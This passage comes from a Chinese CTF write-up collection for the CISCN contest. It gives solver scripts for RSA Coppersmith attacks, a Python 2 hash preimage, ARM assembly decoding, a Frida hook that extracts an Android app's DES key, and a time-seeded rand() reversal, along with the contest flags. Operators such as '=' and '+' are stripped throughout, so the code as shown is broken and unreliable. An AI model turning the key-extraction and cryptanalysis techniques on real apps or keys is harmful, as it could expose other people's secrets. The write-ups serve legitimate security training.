119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833 # h 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806 # p0 4055618 题目分析 已知 现在的重点是small_roots()里面的参数要怎么设置 先来点 前置知识 (怕自己又忘了) 在方程F(x)模数N确认的情况下我们可以通过增加 β \betaβ 的取值或减小 ϵ \epsilonϵ 的取值使得X取到更优的上界。 现在已知d 2beta 1X有500位未知我们取epsilon 0.01是完成能够得到结果的但我们也知道epsilon越小耗时越长我们试着把epsilon调大一点让epsilon 0.02看看能否出结果。经过测试也是能出结果的那么就用它啦 把x_diff求出来了后面就简单了这也就不多说了 from Crypto.Util.number import long_to_bytes N 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793 c 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833 h 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806 p0 4055618 p_high p0 490 x0 2021 * p_high 1120 * (N // p_high) P.x_diff PolynomialRing(Zmod(N)) f (x0 x_diff)^2 1 - h * (x0 x_diff) res f.small_roots(X 2^500, epsilon 0.02) x_diff Integer(res[0]) x x0 x_diff p var(p) q var(q) res solve([x 2021 * p 1120 * q, N p * q], p, q) print(res) p Integer(res[0][0].rhs()) # 提取等号右边部分 q Integer(res[0][1].rhs()) d inverse_mod(65537, (p - 1) * (q - 1)) print(long_to_bytes(int(pow(c,d,N)))) 进入主题 国赛ez_rsa 题目描述 (就截取这么一点点了) n 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81 e 65537 inv 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d dqlow 0x8f2363b340e5 题目分析方式1 解方程的过程和上题的思路应该来说是一样的 这里也是d 2beta 1所以关键部分还是落在了epsilon 的取值上这个就自己去生成数据测一测从0.05往上加发现到0.09以后解集为空那么设置成0.09就行 from Crypto.Util.number import * from tqdm import * n 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81 e 0x010001 dqlow 0x8f2363b340e5 inv 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d c 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989 bits 48 PR.x PolynomialRing(Zmod(n)) dq (2 ^ bits * x) dqlow # k 47794 for k in trange(e,1,-1): f inv * (e * (2 ^ bits * x dqlow) - 1 k) ^ 2 - k * (e * (2 ^ T * x dqlow) - 1 k) f f.monic() root f.small_roots(X2 ^ (512 - bits), epsilon 0.09) if root: dq int(root[0]) * 2 ** bits dqlow q int((e * dq - 1) // k 1) p int(n // q) phi (p - 1) * (q - 1) d inverse_mod(e,phi) print(long_to_bytes(int(pow(c,d,n)))) break from Crypto.Util.number import long_to_bytes from tqdm import * from Crypto.Util.number import * n 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81 inv 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d c 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989 dq_low 0x8f2363b340e5 q_low [] bits 48 e 65537 qq var(qq) PR.x PolynomialRing(Zmod(n)) # k 47794 for k in trange(e,1,-1): k 47794 q0 solve_mod([e * dq_low k * qq - k 1], 2^bits) for i in q0: f inv * (2 ^ bits * x int(i[0])) ^ 2 - (2 ^ bits * x int(i[0])) f f.monic() root f.small_roots(X 2^(512-bits), epsilon 0.09) if root: q 2^bits * int(root[0]) int(i[0]) p n // q d inverse_mod(e,(p - 1) * (q - 1)) print(long_to_bytes(int(pow(c,d,n)))) break # flag{df4a4054-23eb-4ba4-be5e-15b247d7b819} 5.hash 题目描述 你能仅仅通过一个Python2.7自带的hash函数的输出计算出它的原象的sha384哈希值吗 解题思路 将压缩包解压后含有两个文件分别是 hash.py 、 output.txt 。 hash.py #!/usr/bin/python2 # Python 2.7 (64-bit version) from secret import flag import os, binascii, hashlib key os.urandom(7) print hash(key) print int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^ int(binascii.hexlify(flag), 16) output.txt 7457312583301101235 13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017 output.txt 的两行数据分别是 hash.py 中的两行输出。 根据源代码逻辑可以知道首要问题是如何将 k e y keykey 的密文解密出原文。 通过查询 python2.7 的内置 hash 函数可以搜索到相关信息 python3 中的 hash 函数相对于 python2 不同在于 python3 中会对要加密的字符串的运算添加 prefix 和 suffix 而 python2 默认不会添加。 通过 github 上 python2.7 开源代码找到 python2.7 中 str 类型的 hash 计算源码部分代码如下 static long string_hash(PyStringObject *a) { register Py_ssize_t len; register unsigned char p; register long x; #ifdef Py_DEBUG assert(_Py_HashSecret_Initialized); #endif if (a-ob_shash ! -1) return a-ob_shash; len Py_SIZE(a); / We make the hash of the empty string be 0, rather than using (prefix ^ suffix), since this slightly obfuscates the hash secret */ if (len 0) { a-ob_shash 0; return 0; } p (unsigned char *) a-ob_sval; x _Py_HashSecret.prefix; x ^ *p 7; while (–len 0) x (1000003*x) ^ *p; x ^ Py_SIZE(a); x ^ _Py_HashSecret.suffix; if (x -1) x -2; a-ob_shash x; return x; } 将其逻辑再编写成一个简易的函数方便测试代码如下 ll h(char *s, ll len) { ll res 0; res ^ (s[0] 7LL); for(int i 0; i len; i) { res (res * 1000003ull) ^ (unsigned )s[i]; } res ^ len; return res; } 现在进行解密算法的寻找可以解密关键在于将表达式 解密代码如下 vectorunsigned uh(ull d) { d ^ 7; ull res d; for(ull i7 0; i7 256u; i7) for(ull i6 0; i6 256u; i6) for(ull i5 0; i5 256u; i5) { ull res_6 (res ^ i7) * iv; //iv 是1000003在模数2^64下的逆元 ull res_5 (res_6 ^ i6) * iv; ull res_4 (res_5 ^ i5) * iv; vectorint a(3); a[0] i7; a[1] i6; a[2] i5; Hashmap[res_4] a; } for(ull i1 0; i1 256u; i1) for(ull i2 0; i2 256u; i2) for(ull i3 0; i3 256u; i3) for(ull i4 0; i4 256u; i4) { ull res_1 ((i1 7) * v) ^ i1; //v 是1000003 ull res_2 (res_1 * v) ^ i2; ull res_3 (res_2 * v) ^ i3; ull res_4 (res_3 * v) ^ i4; if(Hashmap.find(res_4)!Hashmap.end()){ return vectorunsigned{i1,i2,i3,i4,Hashmap[res_4][2], Hashmap[res_4][1], Hashmap[res_4][0]}; } } } 具体公式推导涉及同余方程、逆元等知识。 代码运行完毕得到密文的 ascii 为 93 140 240 63 90 8 82 key ]\x8c\xf0?Z\x08R pre int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ans 13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017 flag ans ^ pre flag hex(flag) print flag flag 的16进制为 666c61677b62646235333761612d383765662d346539352d626561342d3266373932353962646430377d 使用在线16进制转字符网站计算得到 flag 原文为 flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07}  四、Reverse 1、asm_re 下载得到txt文件打开发现是ida跑出来的arm的汇编代码再结合题目名称这题应该是要读汇编代码了 找到关键部分整理一下 数据存在const段里注意小端法提取一下 然后就可以脚本解出了 exp decodechr flag enc[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787] for i in enc: decodechrchr((((i-0x1e)^0x4d)-0x14) // 0x50) flagdecodechr print((flag)) 运行运行 拿到flag{67e9a228e45b622c2992fb5174a4f5f5} 2、androidso_re 用jadx打开定位到mainactivity 使用函数legal进行了判断函数里使用了方法inspect查看一下 这里关键的两个参数就是key和iv解压安装包看看so 直接hook function main() { Java.perform(function () { Java.enumerateClassLoaders({ onMatch: function (loader) { try { var factory Java.ClassFactory.get(loader); var CheckerClass factory.use(com.example.re11113.inspect); var key CheckerClass.getKey(); console.log(Key: key); } catch (e) { // console.log(Error accessing class or method: e); } }, onComplete: function () {} }); }); } setTimeout(main,1000); package ciscn; import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.nio.charset.StandardCharsets; import java.util.Arrays; import java.util.Base64; public class FlagDecryptor { private static final String ALGORITHM DES/CBC/PKCS5Padding; private static final String CHARSET StandardCharsets.UTF_8.name(); public static void main(String[] args) { try { String encryptedFlag JqslHrdvtgJrRs2QApFEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw; String decryptedString decryptFlag(encryptedFlag); System.out.println(Decrypted string: decryptedString); } catch (Exception e) { System.err.println(Decryption failed: e.getMessage()); } } private static String decryptFlag(String encryptedFlag) throws Exception { byte[] keyBytes JniUtils.getKey().getBytes(CHARSET); byte[] ivBytes JniUtils.getIv().getBytes(CHARSET); SecretKeySpec key new SecretKeySpec(Arrays.copyOf(keyBytes, 8), DES); IvParameterSpec iv new IvParameterSpec(ivBytes); Cipher cipher Cipher.getInstance(ALGORITHM); cipher.init(Cipher.DECRYPT_MODE, key, iv); byte[] encryptedBytes Base64.getDecoder().decode(encryptedFlag); byte[] decryptedBytes cipher.doFinal(encryptedBytes); return new String(decryptedBytes, CHARSET); } static class JniUtils { public static String getKey() { return A8UdWaeq; } public static String getIv() { return Wf3DLups; } } } flag{188cba3a5c0fbb2250b5a2e590c391ce} 3、whereThel1b 打开py文件 逻辑很清晰主要的加密内容肯定是在so文件里面 这个文件有很强的python编译特征可以考虑进行反编译 特征函数编写exp import base64 import random random.seed(0) encry [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26] keys [random.randint(0, len(encry)) for _ in range(len(encry))] flag [k ^ e for k, e in zip(keys, encry)] decoded_flag base64.b64decode(.join(map(chr, flag)).encode()).decode() print(decoded_flag) 运行运行 flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b} 4.gdb_debug 用IDA反编译定位main函数可以发现程序逻辑为 输入str将str每一个字符异或一个随机数得到str2 定义str3随机交换洗牌得到一个0-38的随机不重复的序列 根据str3得到str4使得str4[i]str2[str[3]] 将str4每一个字符异或一个随机数 根据str4得到s1,使得s1[i]str4[i]^byte_5636B30010A0其中byte_5636B30010A0固定且已给出 将s1与s2作对比若相同则输入flag正确其中s2为congratulationstoyoucongratulationstoy 这个程序的特性在于在置随机数种子时使用的是当前时间按位与0xF0000000的结果为种子使得种子在很长一段时间执行时都相同。 基于此我们可以提前求出要用到的随机数(要在Linux系统上运行与Win的rand()逻辑不同) srand(((int)time(0)) 0xF0000000); char rand1[38]; unsigned int rand2[38],rand3[38]; for(int i0;ilen;i) { rand1[i] rand(); // cout (unsigned int)(rand1[i]0xff) ; } for(int ilen-1;i;–i) { rand2[i] rand()%(i1); // cout (unsigned int)(rand2[i]0xff) ; } for(int i0;ilen;i) { rand3[i] rand(); } 然后根据上面所述步骤反过来计算一遍完整代码如下 # Run in linux #include iostream #include cstdio #include cstdlib #include cstring #include cctype #include cmath #include vector #include algorithm #include stack #include set #include map #include ctime #include unistd.h #include defs.h // #include bits/stdc.h using namespace std; typedef long long LL; typedef long double DD; int main() { srand(((int)time(0)) 0xF0000000); char s2[] congratulationstoyoucongratulationstoy; unsigned char byte_10A0[] { 0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88,  0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D,  0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78, 0x00, 0x00 }; char rand1[38]; unsigned int rand2[38],rand3[38]; int len strlen(s2); cout len: len endl; for(int i0;ilen;i) { rand1[i] rand(); // cout (unsigned int)(rand1[i]0xff) ; } for(int ilen-1;i;–i) { rand2[i] rand()%(i1); // cout (unsigned int)(rand2[i]0xff) ; } for(int i0;ilen;i) { rand3[i] rand(); } for(int i0;ilen;i) { s2[i] ^ byte_10A0[i]; } for(int i0;ilen;i) { s2[i] ^ rand3[i]; } int str3[39]; for(int i0;ilen;i) { str3[i] i; } for(int ilen-1;i;–i) { int temp str3[i]; str3[i] str3[rand2[i]]; str3[rand2[i]] temp; } //s2[i]str2[str3[i]]; char str2[39] {0}; for(int i0;ilen;i) { str2[str3[i]] s2[i]; } for(int i0;ilen;i) { str2[i] ^ rand1[i]; } cout str2; return 0; //-22 61 13 92 } 在Linux上运行得到flag 附件题目地址链接: https://pan.baidu.com/s/1q-SEU_4WnD9o2ZUn9b6tDw 提取码: jdur 参考转自原文连接地址 https://blog.csdn.net/CHTXRT/article/details/139051214 https://blog.csdn.net/uuzeray/article/details/139052904 https://xz.aliyun.com/t/14556 https://blog.csdn.net/weixin_62467741/article/details/139122071 https://blog.csdn.net/CHTXRT/article/details/139051214 https://blog.csdn.net/Jayjay_/article/details/139047540 https://blog.csdn.net/Myon5/article/details/139046502 https://blog.csdn.net/XiongSiqi_blog/article/details/139064568 https://blog.csdn.net/althumi/article/details/139077709